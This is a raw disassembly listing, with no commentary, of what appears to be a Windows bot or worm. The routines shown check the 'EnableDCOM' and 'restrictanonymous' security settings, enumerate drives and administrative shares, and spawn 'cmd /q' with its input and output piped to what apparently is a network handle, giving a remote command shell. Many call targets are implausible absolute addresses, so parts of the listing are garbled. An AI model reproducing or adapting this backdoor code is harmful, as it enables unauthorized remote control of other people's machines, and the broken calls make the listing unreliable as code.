loc_4160EC:				; CODE XREF: sub_415F88+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, edi
		pop	ecx
		jnz	loc_416267
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41610F:				; CODE XREF: sub_415F88+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_43F5B4
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4161AC
		cmp	eax, 0EAh
		jz	short loc_4161AC
		mov	esi, offset off_438CA0

loc_416140:				; CODE XREF: sub_415F88+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_40DCC3
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_416157
		push	offset unk_438E04
		jmp	short loc_41615C
; ---------------------------------------------------------------------------

loc_416157:				; CODE XREF: sub_415F88+1C6j
		push	offset unk_438DC8

loc_41615C:				; CODE XREF: sub_415F88+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41618F
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41618F:				; CODE XREF: sub_415F88+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset dword_438CC0
		jb	short loc_416140
		jmp	loc_416244
; ---------------------------------------------------------------------------

loc_4161AC:				; CODE XREF: sub_415F88+1AAj
					; sub_415F88+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41623B

loc_4161BB:				; CODE XREF: sub_415F88+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41999C
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_416230
		push	edi
		call	sub_40DBB0
		push	eax
		push	0
		call	sub_40DCC3
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_4161EA
		push	offset unk_438D94
		jmp	short loc_4161EF
; ---------------------------------------------------------------------------

loc_4161EA:				; CODE XREF: sub_415F88+259j
		push	offset unk_438D58

loc_4161EF:				; CODE XREF: sub_415F88+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416223
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416223:				; CODE XREF: sub_415F88+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_416230:				; CODE XREF: sub_415F88+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4161BB
		xor	edi, edi

loc_41623B:				; CODE XREF: sub_415F88+22Dj
		push	[ebp+var_8]
		call	dword_43F6F8

loc_416244:				; CODE XREF: sub_415F88+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41610F
		lea	eax, [ebp+var_214]
		push	offset unk_438D20
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41627A
; ---------------------------------------------------------------------------

loc_416267:				; CODE XREF: sub_415F88+177j
		lea	eax, [ebp+var_214]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41627A:				; CODE XREF: sub_415F88+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_416298
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416298:				; CODE XREF: sub_415F88+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_415F88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4162AC	proc near		; CODE XREF: sub_415F28:loc_415F6Fp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_43F738, ebx
		push	esi
		jnz	loc_4163DA
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_416337
		mov	ax, word_4391FC
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_43F68C
		test	eax, eax
		jz	short loc_416319
		push	offset unk_4391C8
		jmp	short loc_41631E
; ---------------------------------------------------------------------------

loc_416319:				; CODE XREF: sub_4162AC+64j
		push	offset dword_43919C

loc_41631E:				; CODE XREF: sub_4162AC+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_41634A
; ---------------------------------------------------------------------------

loc_416337:				; CODE XREF: sub_4162AC+36j
		lea	eax, [ebp+var_220]
		push	offset unk_438F68
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_41634A:				; CODE XREF: sub_4162AC+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_416369
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416369:				; CODE XREF: sub_4162AC+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_43F6D8
		test	eax, eax
		jnz	short loc_4163D3
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_43F68C
		test	eax, eax
		jz	short loc_4163B5
		push	offset unk_439150
		jmp	short loc_4163BA
; ---------------------------------------------------------------------------

loc_4163B5:				; CODE XREF: sub_4162AC+100j
		push	offset unk_43910C

loc_4163BA:				; CODE XREF: sub_4162AC+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43F644
		jmp	short loc_4163ED
; ---------------------------------------------------------------------------

loc_4163D3:				; CODE XREF: sub_4162AC+E2j
		push	offset unk_4390C0
		jmp	short loc_4163DF
; ---------------------------------------------------------------------------

loc_4163DA:				; CODE XREF: sub_4162AC+13j
		push	offset unk_438E38

loc_4163DF:				; CODE XREF: sub_4162AC+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4163ED:				; CODE XREF: sub_4162AC+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41640C
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41640C:				; CODE XREF: sub_4162AC+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		cmp	dword_43F760, ebx
		pop	ecx
		jnz	loc_416581
		push	edi
		mov	esi, offset off_438CA0
		mov	edi, 200h

loc_416430:				; CODE XREF: sub_4162AC+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_40DC17
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41644B
		push	offset unk_439090
		jmp	short loc_416450
; ---------------------------------------------------------------------------

loc_41644B:				; CODE XREF: sub_4162AC+196j
		push	offset unk_439058

loc_416450:				; CODE XREF: sub_4162AC+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41647F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_41647F:				; CODE XREF: sub_4162AC+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_438CB0
		jb	short loc_416430
		call	near ptr 27A0994h
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_416569

loc_4164AA:				; CODE XREF: sub_4162AC+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41655E
		cmp	bl, 41h
		jz	loc_41655E
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_43F6C8
		cmp	eax, 3
		jnz	short loc_41655E
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_40DC17
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41651C
		push	offset unk_439090
		jmp	short loc_416521
; ---------------------------------------------------------------------------

loc_41651C:				; CODE XREF: sub_4162AC+267j
		push	offset unk_439058

loc_416521:				; CODE XREF: sub_4162AC+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_416551
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_416551:				; CODE XREF: sub_4162AC+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx

loc_41655E:				; CODE XREF: sub_4162AC+206j
					; sub_4162AC+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_4164AA

loc_416569:				; CODE XREF: sub_4162AC+1F8j
		lea	eax, [ebp+var_220]
		push	offset unk_439018
		push	eax
		call	sub_4172B0
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_416594
; ---------------------------------------------------------------------------

loc_416581:				; CODE XREF: sub_4162AC+173j
		lea	eax, [ebp+var_220]
		push	offset unk_438CE0
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_416594:				; CODE XREF: sub_4162AC+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_4165B2
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 14h

loc_4165B2:				; CODE XREF: sub_4162AC+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_4162AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4165C6	proc near		; CODE XREF: ___:0041562Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_416717
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_4450CC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_4240A0
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4168E9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_416631
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41666B
; ---------------------------------------------------------------------------

loc_416631:				; CODE XREF: sub_4165C6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41699B
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_416672
		call	near ptr 2610941h
		nop
		push	eax
		push	offset dword_439244
		call	sub_40BFE1
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 279088Dh
		nop

loc_41666B:				; CODE XREF: sub_4165C6+69j
		xor	eax, eax
		jmp	loc_416712
; ---------------------------------------------------------------------------

loc_416672:				; CODE XREF: sub_4165C6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 27A0C73h
		sub	eax, ebx
		jz	short loc_4166CC
		dec	eax
		jz	short loc_4166C6
		dec	eax
		jz	short loc_4166B2
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_439200
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166B2:				; CODE XREF: sub_4165C6+D5j
		mov	edi, dword_424168
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_4166E1
; ---------------------------------------------------------------------------

loc_4166C6:				; CODE XREF: sub_4165C6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4166D0
; ---------------------------------------------------------------------------

loc_4166CC:				; CODE XREF: sub_4165C6+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_4166D0:				; CODE XREF: sub_4165C6+104j
		nop
		call	near ptr 279088Dh
		push	1
		push	dword ptr [esi+8]
		call	near ptr 2790AB4h
		nop

loc_4166E1:				; CODE XREF: sub_4165C6+EAj
					; sub_4165C6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_424078
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_43F700
		push	esi
		call	sub_417C3B
		pop	ecx
		push	1
		pop	eax

loc_416712:				; CODE XREF: sub_4165C6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4165C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416717	proc near		; CODE XREF: sub_4165C6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_416801
		mov	ebx, dword_424140
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_424078
		test	eax, eax
		jnz	short loc_41677A
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_439324
		jmp	short loc_41679A
; ---------------------------------------------------------------------------

loc_41677A:				; CODE XREF: sub_416717+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_4167A2
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_4392D4

loc_41679A:				; CODE XREF: sub_416717+61j
		call	sub_40BFE1
		pop	ecx
		jmp	short loc_4167D0
; ---------------------------------------------------------------------------

loc_4167A2:				; CODE XREF: sub_416717+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_416810
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_416805
		push	offset dword_43929C
		call	sub_40BF6D

loc_4167D0:				; CODE XREF: sub_416717+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4167DC
		push	[ebp+var_4]
		call	edi

loc_4167DC:				; CODE XREF: sub_416717+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4167E7
		push	[ebp+var_8]
		call	edi

loc_4167E7:				; CODE XREF: sub_416717+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4167F0
		push	eax
		call	edi

loc_4167F0:				; CODE XREF: sub_416717+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4167FA
		push	eax
		call	edi

loc_4167FA:				; CODE XREF: sub_416717+DEj
		push	esi
		call	sub_417C3B
		pop	ecx

loc_416801:				; CODE XREF: sub_416717+1Dj
		xor	eax, eax
		jmp	short loc_41680B
; ---------------------------------------------------------------------------

loc_416805:				; CODE XREF: sub_416717+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_41680B:				; CODE XREF: sub_416717+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416810	proc near		; CODE XREF: sub_416717+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_417330
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_42413C
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi
		push	eax
		push	ebx
		call	edi
		push	eax
		call	near ptr 27407A8h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		nop
		call	near ptr 27206A4h
		test	eax, eax
		jz	short loc_4168CC
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_4450C8[eax], ecx
		nop
		call	near ptr 25F1A27h
		jmp	short loc_4168E2
; ---------------------------------------------------------------------------

loc_4168CC:				; CODE XREF: sub_416810+9Aj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset dword_439374
		call	sub_40BFE1
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx

loc_4168E2:				; CODE XREF: sub_416810+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4168E9	proc near		; DATA XREF: sub_4165C6+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_424074
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]

loc_416912:				; CODE XREF: sub_4168E9+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_41697A
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41694D

loc_416923:				; CODE XREF: sub_4168E9+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41693D
		cmp	dl, 0Dh
		jz	short loc_41693D
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax

loc_41693D:				; CODE XREF: sub_4168E9+44j
					; sub_4168E9+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_416923

loc_41694D:				; CODE XREF: sub_4168E9+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_41697A
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_416912
; ---------------------------------------------------------------------------

loc_41697A:				; CODE XREF: sub_4168E9+2Dj
					; sub_4168E9+79j
		mov	esi, dword_42408C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_416996
		call	esi
		push	eax
		push	offset dword_4393C0
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_416996:				; CODE XREF: sub_4168E9+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4168E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41699B	proc near		; DATA XREF: sub_4165C6+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx

loc_4169B4:				; CODE XREF: sub_41699B+39j
					; sub_41699B+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F680
		test	eax, eax
		jle	loc_416AB9
		cmp	[ebp+var_10], ebx
		jbe	short loc_4169D6
		dec	[ebp+var_10]
		jmp	short loc_4169B4
; ---------------------------------------------------------------------------

loc_4169D6:				; CODE XREF: sub_41699B+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_416A99
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_416A46
		cmp	al, 7Fh
		jz	short loc_416A46
		cmp	al, 3
		jnz	short loc_416A01
		push	ebx
		push	ebx
		nop
		call	near ptr 27A0D48h
		jmp	short loc_416A6D
; ---------------------------------------------------------------------------

loc_416A01:				; CODE XREF: sub_41699B+5Aj
		cmp	al, 15h
		jnz	short loc_416A23
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A23:				; CODE XREF: sub_41699B+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_416A5A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_416A59
; ---------------------------------------------------------------------------

loc_416A46:				; CODE XREF: sub_41699B+52j
					; sub_41699B+56j
		cmp	esi, ebx
		jbe	short loc_416A70
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3

loc_416A59:				; CODE XREF: sub_41699B+86j
					; sub_41699B+A9j
		pop	ecx

loc_416A5A:				; CODE XREF: sub_41699B+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_43F6B8
		test	eax, eax
		jle	short loc_416AB9

loc_416A6D:				; CODE XREF: sub_41699B+64j
		mov	al, byte ptr [ebp+arg_0+3]

loc_416A70:				; CODE XREF: sub_41699B+ADj
		cmp	al, 0Dh
		jnz	loc_4169B4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_416AB9
		xor	esi, esi
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416A99:				; CODE XREF: sub_41699B+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_416AAA
		mov	[ebp+var_C], 1
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AAA:				; CODE XREF: sub_41699B+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4169B4
; ---------------------------------------------------------------------------

loc_416AB9:				; CODE XREF: sub_41699B+2Bj
					; sub_41699B+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41699B	endp


; =============== S U B	R O U T	I N E =======================================



sub_416ABE	proc near		; CODE XREF: sub_416ADE+Ap
					; sub_416BB6+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_417AB0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_417AB0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_416ABE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416ADE	proc near		; CODE XREF: sub_416BCD+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_416ABE
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_416AFB
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_416AFB:				; CODE XREF: sub_416ADE+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_417AB0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_417AB0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_4394A0, eax
		lea	eax, [edi+1]
		mov	dword_4394C1, eax
		lea	eax, [edi+17h]
		mov	dword_4394B9, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43943C
